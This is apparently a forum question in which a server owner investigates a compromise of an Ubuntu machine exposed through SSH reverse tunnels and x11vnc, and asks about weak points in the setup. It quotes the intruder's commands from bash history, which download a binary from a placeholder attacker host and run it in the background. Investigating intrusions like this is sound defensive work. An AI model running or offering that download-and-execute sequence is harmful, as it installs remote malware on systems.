security - Weak points of ssh tunnel and x11 server, hack investigation

So, today I've been hacked. It's very puzzling to me how it was done, so I'm looking for experienced people to show weak points in design of my systems.

I have two servers. One is VPS with connection to internet (server1), second one is server inside private network (server2), connected to the first one via ssh reverse tunnel, exposing ports 22 (ssh) and 5900 (x11vnc) to the internet. Both servers are Ubuntu 14.04.

I use these commands to create ssh reverse tunnel (on the server2):

autossh -fR \*:4202:localhost:22 -N root@server1.com
autossh -fR \*:5900:localhost:5900 -N root@server1.com

A little more specifics about SSH configuration on my servers.

1. Allows root login



2. Has this line:

   
   
   

   GatewayPorts clientspecified

Full configuration

1. Doesn't allow root login.


2. Uses default (stock) ssh configuration


3. I use common (batman related:) ) username with 9 characters password.

Full configuration

As for x11, I use this command to create x11vnc server:

/usr/bin/x11vnc -dontdisconnect -notruecolor -noxfixes -shared -forever -rfbport 5900 -bg -o /home/{username}/.vnc/x11vnc.log -rfbauth /home/{username}/.vnc/passwd -auth /var/lib/mdm/:0.Xauth

My password for VNC is pretty good.

server1 is being actively bruteforced, but I don't have any evidence it was compromised.

You can't access server2 from server1 without password.

So, today I found this in my .bash_history on the server2:

wget http://{HACKER_IP}:8080/heng
chmod 0755 /root/heng
chmod 0755 ./heng
/dev/null 2>&1 &
nohup ./heng > /dev/null 2>&1 &

{HACKER_IP} is reported by virtualtotal as one that distributes Win32.Ramnit.

/var/log/auth.log is clean.

heng process was inside my memory but wasn't on disk. I've shutdown my system so I don't have it anymore.

1. Passwords were transmited via skype at one point.


2. I use xshell, and I use password manager to store passwords to my connections.


3. I use public WI-FI often.

How it's possible that server2 is being compromised before server1 ? It's lives in non-standart 4202 port and uses pretty good login/password combination.

How can I avoid this in the future ?